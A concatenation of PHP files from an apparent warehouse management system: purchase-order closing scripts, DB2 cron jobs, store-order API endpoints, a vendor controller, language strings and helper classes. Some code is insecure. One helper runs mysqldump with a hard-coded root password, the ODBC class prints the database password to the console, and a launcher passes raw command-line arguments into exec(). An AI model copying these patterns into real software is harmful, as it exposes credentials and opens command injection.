$validate = $closePO->enterReceiverNumber($receiver, $back_order);
if($validate)
{
$closePO->enterPOForm($receiver);
$closePO->enterPoReceiptDetail();
$closePO->enterPoReceiptDetailBySKU();
//TODOS: need validation if qty is more than
$closePO->enterQtyPerItem($receiver);
$closePO->enterClosingPo();
$closePO->enterJobName($receiver);
}
}
$closePO->logout();
}
else {
echo " \n No receiver_nos found!. \n";
}
}
else {
echo " \n No rows found!. \n";
}
}
else{
echo " \n Found unsuccessful receiving of PO! Stop process!\n";
}
$db->close(); //close db connection
/*$closePO = new poClosing();
$receiver_nos = $closePO->getReceiverNo();
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$closePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver) {
$validate = $closePO->enterReceiverNumber($receiver);
if($validate)
{
$closePO->enterPOForm($receiver);
$closePO->enterPoReceiptDetail();
$closePO->enterPoReceiptDetailBySKU();
//TODOS: need validation if qty is more than
$closePO->enterQtyPerItem($receiver);
$closePO->enterClosingPo();
$closePO->enterJobName($receiver);
}
}
}
else {
echo " \n No rows found!. \n";
}
$closePO->logout();*/
<file_sep><?php
return array(
/*
|--------------------------------------------------------------------------
| Application Debug Mode
|--------------------------------------------------------------------------
|
| When your application is in debug mode, detailed error messages with
| stack traces will be shown on every error that occurs within your
| application. If disabled, a simple generic error page is shown.
|
*/
'debug' => true,
'db2_dsn' => 'DRIVER=IBM i Access ODBC Driver 64-bit;SYSTEM=172.16.1.1;DBQ=MMGSTLIB',
'db2_username' => 'STRATPGMR',
'db2_password' => '<PASSWORD>'
);
<file_sep><?php
chdir(dirname(__FILE__));
include_once('db2_cron_class.php');
$db2 = new cronDB2();
/*$db2->purchaseOrder(); sleep(10);
$db2->purchaseOrderDetails(); sleep(10); */
/*$db2->pickingDetail(); sleep(10);
$db2->picking(); sleep(10);
*/
/*$db2->storeReturn(); sleep(10);
$db2->storeReturnDetails(); sleep(10);*/
/*$db2->storeReturn_pick(); sleep(10);*//*
$db2->storeReturnDetails_pick(); sleep(10);*/
$db2->storeReturn_return(); sleep(10);
$db2->storeReturnDetails_return(); sleep(10);
/*$db2->stores(); sleep(10);
$db2->storeOrder(); sleep(10);
$db2->storeOrderDetails(); sleep(10);
$db2->storeReturn(); sleep(10);
$db2->storeReturnDetails();*/
$db2->close();<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$module->putAwayReserve();
<file_sep><?php
class ApiStoreSO extends BaseController {
// protected static $allowed_roles = array(3,4);
/**
* Gets Store store_orders
*
* @example www.example.com/api/v1/store_receive/
*
* @param
* @return store_orders @array
*/
public static function getSO()
{
try {
if(! CommonHelper::hasValue(Request::get('store_code')) ) throw new Exception( 'Missing store code parameter.');
$store_code = Request::get('store_code');
$params = array('store_code' => $store_code);
$getOpenSO = StoreSO::getOpenSo($params);
if(! empty($getOpenSO) )
{
$result = $getOpenSO->toArray();
}
else {
$result = 'No open SO to receive';
}
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $result),
200
);
} catch (Exception $e) {
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Gets Store store_orders
*
* @example www.example.com/api/v1/store_receive/detail/{so_no}
*
* @param store_order
* @return store_order_detail @array
*/
public static function getSoDetails($so_no)
{
try {
if(! CommonHelper::hasValue($so_no) ) throw new Exception( 'Missing store order parameter.');
$arrParams = array('so_no' => $so_no);
$so_details = StoreSODetails::getSoDetail($arrParams);
DebugHelper::log(__METHOD__, $so_details);
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $so_details->toArray()),
200
);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Accept qty delivered per store_order
*
* @example www.example.com/api/v1/store_receive/accept/{storeCode}
*
* @param store_code store code
* @return Status
*/
public function postAcceptSo($so_no) {
try {
if(! CommonHelper::hasValue($so_no) ) throw new Exception( 'Missing store order number parameter.');
if(! CommonHelper::hasValue(Request::get('data')) ) throw new Exception( 'Missing data parameter.');
if(! CommonHelper::hasValue(Request::get('user_id')) ) throw new Exception( 'Missing user id parameter.');
$data = json_decode(Request::get('data'), true);
$user_id = Request::get('user_id');
if(empty($data)) throw new Exception("Empty data parameter");
//save store order detail
foreach($data as $row) {
StoreSODetails::updateDeliveredQty($row, $so_no);
}
//update po status
$params = array('so_no'=>$so_no, 'assigned_user_id'=>$user_id);
StoreSO::updateSoStatus($params); //update status to close
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
}<file_sep><?php
class VendorController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessVendorMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessVendorMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportVendorMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('vendors' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('vendors');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_vendor_no' => Input::get('filter_vendor_no', NULL),
'filter_vendor_name'=> Input::get('filter_vendor_name', NULL),
'sort' => Input::get('sort', 'vendor_code'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Vendors::getVendorLists($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('vendors.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('vendors_' . date('Ymd') . '.pdf');
}
protected function getList() {
$this->data['heading_title'] = Lang::get('vendors.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_vendor_no'] = Lang::get('vendors.label_filter_vendor_no');
$this->data['label_filter_vendor_name'] = Lang::get('vendors.label_filter_vendor_name');
$this->data['col_id'] = Lang::get('vendors.col_id');
$this->data['col_vendor_name'] = Lang::get('vendors.col_vendor_name');
$this->data['col_vendor_no'] = Lang::get('vendors.col_vendor_no');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
// URL
$this->data['url_export'] = URL::to('vendors/export');
// Search Filters
$filter_vendor_no = Input::get('filter_vendor_no', NULL);
$filter_vendor_name = Input::get('filter_vendor_name', NULL);
$sort = Input::get('sort', 'vendor_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_vendor_no' => $filter_vendor_no,
'filter_vendor_name'=> $filter_vendor_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Vendors::getVendorLists($arrParams);
$results_total = Vendors::getVendorLists($arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_vendor_no' => $filter_vendor_no,
'filter_vendor_name'=> $filter_vendor_name,
'sort' => $sort,
'order' => $order
);
$this->data['vendors'] = Paginator::make($results, $results_total, 30);
$this->data['vendors_count'] = $results_total;
$this->data['counter'] = $this->data['vendors']->getFrom();
$this->data['filter_vendor_no'] = $filter_vendor_no;
$this->data['filter_vendor_name'] = $filter_vendor_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_vendor_no=' . $filter_vendor_no;
$url .= '&filter_vendor_name=' . $filter_vendor_name;
$url .= '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_vendor_no = ($sort=='vendor_code' && $order=='ASC') ? 'DESC' : 'ASC';
$order_vendor_name = ($sort=='vendor_name' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('vendors' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_vendor_no'] = URL::to('vendors' . $url . '&sort=vendor_code&order=' . $order_vendor_no, NULL, FALSE);
$this->data['sort_vendor_name'] = URL::to('vendors' . $url . '&sort=vendor_name&order=' . $order_vendor_name, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('vendors.list', $this->data);
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('db2_cron_class.php');
$db2 = new cronDB2();
$db2->products(); sleep(10);
/**$db2->slots(); sleep(10);
$db2->department(); sleep(10);
$db2->vendors(); sleep(10);
$db2->stores(); sleep(10);**/
$db2->close();<file_sep><?php
require_once(__DIR__ . '/db_connection/db_subloc_pick.php');
require_once(__DIR__ . '/keystroke/subloc_pick.php');
$db_connect = new DB_sublock_pick_function();
$db_connect->Connect();
$getClosed = $db_connect->getClosedSublocPicking();
foreach ($getClosed as $header)
{
echo "MTS Number :".$header['move_doc_number']."\n";
$getPickedQty = $db_connect->getQtySublocPicked($header['move_doc_number']);
foreach ($getPickedQty as $details)
{
echo " SKU ->".$details['sku']." ".$details['moved_qty']."\n";
$db_connect->JDAUpdateSublocPickedQty($header['move_doc_number'], $details['sku'],$details['moved_qty']);
}
$sublocpick = new SubLocPicking ();
$sublocpick->Login();
if($sublocpick)
{
$sublocpick->Initiate();
$sublocpick->DoSubLocPicking($header['move_doc_number']);
}
$db_connect->updateIsSyncedSubloc($header['move_doc_number']);
}<file_sep><?php
class PalletDetails extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'pallet_details';
/**
* Get pallet per boxcode
*
* @param $boxCode box_code
* @return array
*/
public static function getPallet($boxCode)
{
$query = PalletDetails::where('box_code', '=', $boxCode)->first();
if($query) return $query->toArray();
return false;
}
}<file_sep><?php
/**
* Common functions such as random numbers, string manipulations/validations
*
* @package SSI-WMS
* @subpackage Common
* @category Helpers
* @author <NAME> | <EMAIL> | <EMAIL>
* @version Version 1.0
*
*/
class CommonHelper {
/**
* check variable is empty
*
* @param $var variable to be analyzed
* @return (boolean)
**/
public static function hasValue($var)
{
if(!isset($var))
{
return FALSE;
} else
{
if(is_null($var) || empty($var))
{
return FALSE;
} else
{
return TRUE;
}
}
}
public static function filternator($query,$arrparam=array(),$limit,$getcount=false)
{
$x=0;
foreach ($arrparam as $key => $filcol)
{
$subkey= substr($key,7);
if ($x<$limit)
{
if( CommonHelper::hasValue($filcol) && CommonHelper::hasValue($key) ) $query->where(''.$subkey.'', 'LIKE', '%'. $filcol .'%');
}
if ($key=='sort')$sort=$filcol;
if ($key=='order')$order=$filcol;
if ($key=='page')$page=$filcol;
$x++;
}
if($getcount) return count($query);
if( CommonHelper::hasValue($sort) && CommonHelper::hasValue($order))
{
}
if(CommonHelper::hasValue($page))
{
$query->skip(30 * ($page - 1))
->take(30);
}
return $query;
}
public static function pagenator($query,$page)
{
if(CommonHelper::hasValue($page))
{
$query->skip(30 * ($page - 1))
->take(30);
}
return $query;
}
/**
* checks if variable is a valid array and not empty
*
* @param $arr array variable to be analyzed
* @return (boolean)
**/
public static function arrayHasValue($arr)
{
if(!isset($arr) && !is_array($arr))
{
return FALSE;
} else
{
if(count($arr) === 0 || empty($arr))
{
return FALSE;
} else
{
return TRUE;
}
}
}
/**
* returns null if the variable is empty
*
* @param $var variable to be analyzed
* @return (mixed)
**/
public static function assess_variable_value($var)
{
return (has_value($var) ? $var : NULL);
}
/**
* check variable is numeric and has value
*
* @param $var variable to be analyzed
* @return (boolean)
**/
public static function numericHasValue($var)
{
if(isset($var) && is_numeric($var))
{
return TRUE;
} else
{
return FALSE;
}
}
/**
* recursively converts object to array
*
* @param (object) $data object to be converted to array
* @return (object)
**/
public static function object_to_array($data)
{
if(is_array($data) || is_object($data)) {
$result = array();
foreach($data as $key => $value) {
$result[$key] = CommonHelper::object_to_array($value);
}
return $result;
}
return $data;
}
/**
* searches a specific array item based on key
*
* @param (string) $item the needle
* @param (string) $array_key key of the array to be compared with the needle
* @param (string) $array_items the haystak
* @return (array)
**/
public static function get_item_from_array($item,$array_key,$array_items)
{
if(! CommonHelper::arrayHasValue($array_items)) return array();
if(! CommonHelper::hasValue($item)) return array();
$array_val = array();
foreach($array_items as $array_item)
{
if($array_item[$array_key] == $item)
{
$array_val = $array_item;
break;
}
}
return $array_val;
}
/**
* checks if the value is in the array
*
* @param (string) $item the needle
* @param (string) $array_items the haystak
* @return (boolean)
**/
public static function valueInArray($item, $array_items)
{
// print_r()
if(! CommonHelper::arrayHasValue($array_items)) return FALSE;
if (in_array($item, $array_items)) {
return TRUE;
} else {
return FALSE;
}
}
public static function setRequiredFields($required_fields = array()) {
if(self::arrayHasValue($required_fields))
{
foreach($required_fields as $value)
{
$tmp_val = Input::get($value);
if(!self::hasValue($tmp_val)) throw new Exception("Missing {$value} parameter");
}
}
}
public static function return_success_message($message)
{
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $message),
200
);
}
public static function return_success()
{
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
}
public static function return_fail($message)
{
return Response::json(array(
"error" => true,
"result" => $message),
400
);
}
/**
* Execute command in the background without PHP waiting for it to finish for Unix
*
* @example Commonhelper::execInBackground();
*
* @param $cmd string command to execute
* @return
*/
/* public static function execInBackground($cmd,$source)
{
$cmd = 'php -q ' . __DIR__.'/../../app/cron/jda/' . $cmd;
$filename=$source . "_" . date('m_d_y');
$outputfile = __DIR__.'/../../app/cron/jda/logs/'.$filename.'.log';
$pidfile = __DIR__.'/../../app/cron/jda/logs/pidfile.log';
exec(sprintf("%s >> %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile));
// exec($cmd . " >/dev/null 2> /dev/null & echo $!");
// exec($cmd . " > /dev/null &");
}*/
public static function execInBackgroundDEB($cmd,$source)
{
$cmd = 'php -q ' . __DIR__.'/../../app/cron/jda/' . $cmd;
$filename=$source . "_" . date('m_d_y');
$outputfile = __DIR__.'/../../app/cron/jda/logs/'.$filename.'.log';
$pidfile = __DIR__.'/../../app/cron/jda/logs/pidfile.log';
exec(sprintf("%s >> %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile));
// exec($cmd . " >/dev/null 2> /dev/null & echo $!");
// exec($cmd . " > /dev/null &");
}
/**
* Execute command in the background without PHP waiting for it to finish for Unix
*
* @example Commonhelper::execInBackground();
*
* @param $cmd string command to execute
* @return
*/
public static function execInBackground($cmd,$source)
{
$cmd = 'php -q ' . __DIR__.'/../../app/cron/jda/' . $cmd;
$filename=$source . "_" . date('m_d_y');
$outputfile = __DIR__.'/../../app/cron/jda/logs/'.$filename.'.log';
$pidfile = __DIR__.'/../../app/cron/jda/logs/pidfile.log';
exec(sprintf("%s >> %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile));
// exec($cmd . " >/dev/null 2> /dev/null & echo $!");
// exec($cmd . " > /dev/null &");
}
/**
* Execute command in the background without PHP waiting for it to finish for Unix
*
* @example Commonhelper::execInBackground();
*
* @param $cmd string command to execute
* @return
*/
public static function archiveLogs()
{
$file = __DIR__.'/../../archive_logs/audit_trail_'.time().'.sql';
$cmd = 'mysqldump -uroot -proot ccri wms_audit_trail > ' . $file;
$outputfile = __DIR__.'/../../archive_logs/output.log';
$pidfile = __DIR__.'/../../archive_logs/pidfile.log';
exec($cmd, $outputfile, $pidfile);
if($pidfile) {
return FALSE;
}
return TRUE;
}
/*
* Method to strip tags globally.
*/
public static function globalXssClean()
{
// Recursive cleaning for array [] inputs, not just strings.
$sanitized = static::arrayStripTags(Input::get());
Input::merge($sanitized);
}
public static function arrayStripTags($array)
{
$result = array();
foreach ($array as $key => $value) {
// Don't allow tags on key either, maybe useful for dynamic forms.
$key = strip_tags($key);
// If the value is an array, we will just recurse back into the
// function to keep stripping the tags out of the array,
// otherwise we will set the stripped value.
if (is_array($value)) {
$result[$key] = static::arrayStripTags($value);
} else {
// I am using strip_tags(), you may use htmlentities(),
// also I am doing trim() here, you may remove it, if you wish.
$result[$key] = trim(strip_tags($value));
}
}
return $result;
}
}
<file_sep><?php
$filename = ((isset($argv[1]))? $argv[1] : NULL);
$data = ((isset($argv[2]))? $argv[2] : NULL);
$cmd = 'nohup php -q ' . __DIR__.'/'.$filename.'.php '.$data;
$pidfile = __DIR__.'/../../jda/logs/pidfile.log';
$source=$filename . "_" . date('m_d_y');
$outputfile = __DIR__.'/../../jda/logs/'.$source.'.log';
exec(sprintf("%s >> %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile));
chmod($outputfile,0777);
// exec($cmd . " </dev/null 2> /dev/null & echo $!");
// exec($cmd . " > /dev/null &");<file_sep><?php
include_once('config/config.php');
class odbcConnection{
var $jdaLib; // = 'MMFMTLIB';
var $user; // = 'STRATPGMR'; //Username for the database
var $pass; // = '<PASSWORD>'; //Password
var $connHandle; //Connection handle
var $tempFieldNames; //Tempory array used to store the fieldnames, makes parsing returned data easier.
var $dateToday;
public function __construct()
{
$creds = jda_credentials();
$this->jdaLib = $creds['jda_lib'];
$this->user = $creds['user'];
echo "$this->user \n";
$this->pass = $creds['password'];
echo "$this->pass \n";
$this->connectDatabase();
}
public function getDate()
{
return $this->dateToday = date('ymd'); //format of date in db2: 140509
}
public function connectDatabase()
{
echo "Connecting to DB2... \n";
// $dsn_link = "DRIVER=iSeries Access ODBC Driver;SYSTEM=172.16.1.1;DBQ={$this->jdaLib}";
$dsn_link = "DRIVER=iSeries Access ODBC Driver;SYSTEM=JDAPROD2.RGOC.COM.PH;DBQ={$this->jdaLib}";
echo "$dsn_link \n";
$handle = @odbc_connect($dsn_link,$this->user,$this->pass,SQL_CUR_USE_DRIVER) or die("Error! Couldn't Connect To Database. Error Code: ".odbc_error());
$this->connHandle = $handle;
echo "$this->connHandle \n";
return true;
}
private function runStoredQuery($query, $returns_results){
if($returns_results == false){
return false;
}
$toReturn = "";
$res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("Error! Couldn't Run Stored Query. Error Code: ".odbc_error());
unset($this->tempFieldNames);
$i = 0;
$j = 0;
while(odbc_fetch_row($res))
{
//Build tempory
for ($j = 1; $j <= odbc_num_fields($res); $j++)
{
$field_name = odbc_field_name($res, $j);
$this->tempFieldNames[$j] = $field_name;
$this->tempFieldNames[$j];
$ar[$field_name] = odbc_result($res, $field_name);
}
$toReturn[$i] = $ar;
$i++;
}
return $toReturn;
}
public function runSQL($query,$returns_results)
{
echo "Executing SQL: $query \n";
$toReturn = "";
$res = @odbc_exec($this->connHandle,$query) or die("Error! Couldn't Run Query. Error Code: ".odbc_error());
unset($this->tempFieldNames);
if($returns_results == false){
return false;
}
$i = 0;
$j = 0;
while(odbc_fetch_row($res))
{
//Build tempory
for ($j = 1; $j <= odbc_num_fields($res); $j++)
{
$field_name = odbc_field_name($res, $j);
$this->tempFieldNames[$j] = $field_name;
$ar[$field_name] = odbc_result($res, $field_name);
}
$toReturn[$i] = $ar;
$i++;
}
return $toReturn;
}
public function getUnique($sql, $field)
{
$rs = odbc_exec($this->connHandle, $sql);
$ar = array();
// $arr = odbc_fetch_array($rs);
// var_dump($arr);
while(odbc_fetch_row($rs))
{
$ar[] = odbc_result($rs, $field);
}
return $ar;
}
public function count($sql)
{
$rs = odbc_exec($this->connHandle, $sql);
$arr = odbc_fetch_array($rs);
var_dump($arr);
}
public function displayResult($data, $key)
{
$rows = count($data);
$keys = count($key);
$i = 0;
while($i < $rows){
$j = 1;
echo "Echoing Row $i:\n";
while($j < $keys - 1){
//$data[row][field];
$result = $data[$i][$key[$j]];
$field = $key[$j];
echo("Field '".$field."' : ".$result." \n");
$j++;
}
echo "\n----\n\n";
$i++;
}
}
//TODOS: header column
public function export($data, $csv_filename, $header_column = array(), $additional_val = array())
{
echo "Exporting to CSV \n";
// $dateFormat = date('Ymd').'-'.time();
$dateFormat = time();
$formatted_filename = "{$csv_filename}_{$dateFormat}.csv";
$fp = fopen('db2_dump/' . $formatted_filename, 'wb');
$header_column = array_filter($header_column);
if(!empty($additional_val)) $value = $additional_val; //add header in the csv
if(!empty($header_column)) fputcsv($fp, $header_column); //add header in the csv
foreach ($data as $key => $value) {
// print_r($value);
// $output = array_filter(array_map('trim', $value)); //filter white spaces
// $output = $value; //filter white spaces
$output = array_map('trim', $value);
fputcsv($fp, $output);
}
fclose($fp);
return true;
}
public function close()
{
echo "Closing odbc connection... \n";
odbc_close($this->connHandle);
}
}<file_sep><?php
return array(
'heading_title' => 'Picking Lists',
'heading_title_picking_details' => 'Picklist detail',
'heading_title_picking_lock_tags' => 'Picklist Lock tags',
'heading_title_assign_picking' => 'Assign Picklist/s to Stock Piler',
'entry_load' => 'Load Picklist',
'entry_load_create' => 'New Load Code',
'entry_sku' => 'UPC:',
'entry_so' => 'Transfer #:',
'entry_from_slot_code' => 'From slot code:',
'entry_to_slot_code' => 'To slot code:',
'entry_status' => 'Status:',
'label_type' => 'Type:',
'label_doc_no' => 'Document Number:',
'label_status' => 'Status:',
'label_load_code' => 'Load Code:',
'label_tl' => 'Transfer no:',
'label_action_date' => 'Action Date:',
'label_sku' => 'UPC/SKU:',
'label_stock_piler' => 'Stock piler:',
'label_store' => 'Store Name:',
'label_receiver' => 'Receiver:',
'print_pagkaging_slip' => 'Print Package Slip',
'col_pell_no_label' => 'Pell number :',
'btn_rem_box' => 'Assign to Pell no.',
'col_id' => 'Id',
'col_no' => 'No.',
'col_mts_rep' => 'MTS report list',
'col_type' => 'Type',
'col_mts_no' => 'Mts no.',
'col_status' => 'Status',
'col_action' => 'Action',
'col_pell_no' => 'Pell number content',
'col_store_code' => 'Store Code',
'col_store_name' => 'Store Name',
'col_sku' => 'Sku',
'col_upc' => 'UPC',
'col_so_no' => 'Transfer #',
'col_from_slot_code'=> 'From Sub loc ',
'col_slot_code' => 'From Slot Code',
'col_to_slot_code' => 'To Sub loc',
'col_qty_to_pick' => 'Expected Qty',
'col_to_move' => 'Quantity picked',
'col_action_date' => 'Action Date',
'col_entry_date' => 'Entry Date',
'col_var' => 'Variance',
'col_to_label_print'=> ' To :',
'col_time_locked' => 'Time Locked',
'col_stock_piler' => 'Stock Piler',
'col_receiving_stock_piler' => 'Receiving Stock Piler',
'col_doc_number' => 'Document Number',
'col_product_name' => 'Product name',
'col_store' => 'Store',
'col_shrt_nm' => 'Short Name',
'button_load' => 'Load',
'button_change_to_store' => 'Change type to store',
'button_to_picking' => 'To Picklist module',
'button_unlock_tags' => 'Unlock tags',
'button_unlock_tag' => 'Unlock tag',
'button_back_lock_tags' => 'Back to Lock tags',
'button_to_lock_tags' => 'Lock tags',
'button_export_detail' => 'Export Picklist',
'button_add_store' => 'Add load',
'button_assign_to_stock_piler' => 'Assign to Stock Piler',
'button_close_picklist' => 'Close',
'assign_to_stock_piler' => 'Assign to Stock Piler',
'error_load' => 'Please choose picklist/s',
'error_not_exist' => 'Picklist id does not exist.',
'error_no_lock_tag' => 'Please choose a lock tag to unlock.',
'error_change' => 'The picklist cannot be changed to store type',
'error_load_no_load_code' => 'Please select load code',
'error_assign' => 'Please select the items to be assigned',
'text_confirm_load' => 'Are you sure you want to load the picking list/s?',
'text_in_picking' => 'In picking area',
'text_in_dispatching' => 'In dispatching area',
'text_warning_unlock' => 'Unlock Lock Tags?',
'text_warning_unlock_single'=> 'Unlock Lock Tag?',
'text_success_unlock' => 'You have successfully unlocked the lock tag/s',
'text_fail_unlock' => 'Unable to unlock the lock tag/s',
'text_confirm_change' => 'Are you sure you want to change type to store?',
'text_confirm_assign' => 'Assign selected items?',
'text_success_assign' => 'Successfully assigned the MTS number!',
'text_success_change' => 'You have successfully change picklist to store type',
'text_fail_change' => 'Unable to change picklist to type store',
'text_error_change' => 'Something went wrong',
'text_success_load' => 'You have successfully loaded the picklist',
'text_fail_load' => 'Unable to load picklist.',
'text_posted' => 'Posted',
'text_shipped' => 'Shipped',
'text_success_posted' => 'Successfully closed picklist!',
'entry_doc_no' => 'MTS no.:',
'entry_stock_piler' => 'Stock Piler :',
);<file_sep><?php
class DatasetSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
Dataset::truncate();
$data = array(
array(
'data_code' => 'PO_STATUS_TYPE',
'data_value' => 'open',
'data_display' => 'Open',
'description' => 'Purchase order status is open',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PO_STATUS_TYPE',
'data_value' => 'assigned',
'data_display' => 'Assigned',
'description' => 'Purchase order status is assigned to stock piler/s',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PO_STATUS_TYPE',
'data_value' => 'in_process',
'data_display' => 'In Process',
'description' => 'Purchase order status is In-process',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PO_STATUS_TYPE',
'data_value' => 'done',
'data_display' => 'Done',
'description' => 'Purchase order status is done',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PO_STATUS_TYPE',
'data_value' => 'closed',
'data_display' => 'Posted',
'description' => 'Purchase order status is now closed',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'ZONE_TYPE',
'data_value' => 'moved_to_reserve',
'data_display' => 'Moved to reserve zone',
'description' => 'Particular upc/sku will be move to resever zone',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'ZONE_TYPE',
'data_value' => 'moved_to_picklist',
'data_display' => 'Moved to picklist zone',
'description' => 'Particular upc/sku will be move to picklist zone',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'LETDOWN_STATUS_TYPE',
'data_value' => '0',
'data_display' => 'Unmoved',
'description' => 'Letdown document is still in reserved zone.',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'LETDOWN_STATUS_TYPE',
'data_value' => '1',
'data_display' => 'Moved',
'description' => 'Letdown document is moved to picking zone',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'LETDOWN_STATUS_TYPE',
'data_value' => '2',
'data_display' => 'Closed',
'description' => 'Letdown document status is now closed',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SO_STATUS_TYPE',
'data_value' => '1',
'data_display' => 'Open',
'description' => 'Store Order is still open.',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SO_STATUS_TYPE',
'data_value' => '2',
'data_display' => 'Done',
'description' => 'Store Order is done.',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SO_STATUS_TYPE',
'data_value' => '3',
'data_display' => 'Closed',
'description' => 'Store Order is Closed.',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PICKLIST_STATUS_TYPE',
'data_value' => 'open',
'data_display' => 'Open',
'description' => 'Picklist is open',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PICKLIST_STATUS_TYPE',
'data_value' => 'assigned',
'data_display' => 'Assigned',
'description' => 'Picklist status is assigned to stock piler/s',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PICKLIST_STATUS_TYPE',
'data_value' => 'in_process',
'data_display' => 'In Process',
'description' => 'Picklist status is In-process',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PICKLIST_STATUS_TYPE',
'data_value' => 'done',
'data_display' => 'Done',
'description' => 'Picklist status is done',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PICKLIST_STATUS_TYPE',
'data_value' => 'closed',
'data_display' => 'Posted',
'description' => 'Picklist status is now closed',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SR_STATUS_TYPE', // store return
'data_value' => 'open',
'data_display' => 'Open',
'description' => 'Store return status is open',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SR_STATUS_TYPE',
'data_value' => 'assigned',
'data_display' => 'Assigned',
'description' => 'Store return status is assigned to stock piler/s',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SR_STATUS_TYPE',
'data_value' => 'in_process',
'data_display' => 'In Process',
'description' => 'Store return status is In-process',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SR_STATUS_TYPE',
'data_value' => 'done',
'data_display' => 'Done',
'description' => 'Store return status is done',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'SR_STATUS_TYPE',
'data_value' => 'closed',
'data_display' => 'Posted',
'description' => 'Store return status is now closed',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'UIRR_FORMAT',
'data_value' => '0000000',
'data_display' => '0000000',
'description' => 'UIRR unlisted format in series',
'created_at' => date('Y-m-d H:i:s')
),
array(
'data_code' => 'PL_NUM_FORMAT',
'data_value' => '0000000',
'data_display' => '0000000',
'description' => 'Packing list mumber format in series',
'created_at' => date('Y-m-d H:i:s')
),
);
foreach ($data as $d) {
Dataset::create($d);
}
}
}<file_sep><?php
return array(
'heading_title' => 'Items with Expiry',
'heading_title_po_contents' => 'Expiry Report',
'label_purchase_no' => 'PO No.:',
'label_shipment_reference_no' => 'Shipment Reference No.',
'label_date_from' => 'Date From: ',
'label_date_to' => 'Date To: ',
'col_id' => 'No.',
'col_po_no' => 'PO No.',
'col_receiver_no' => 'Receiver No.',
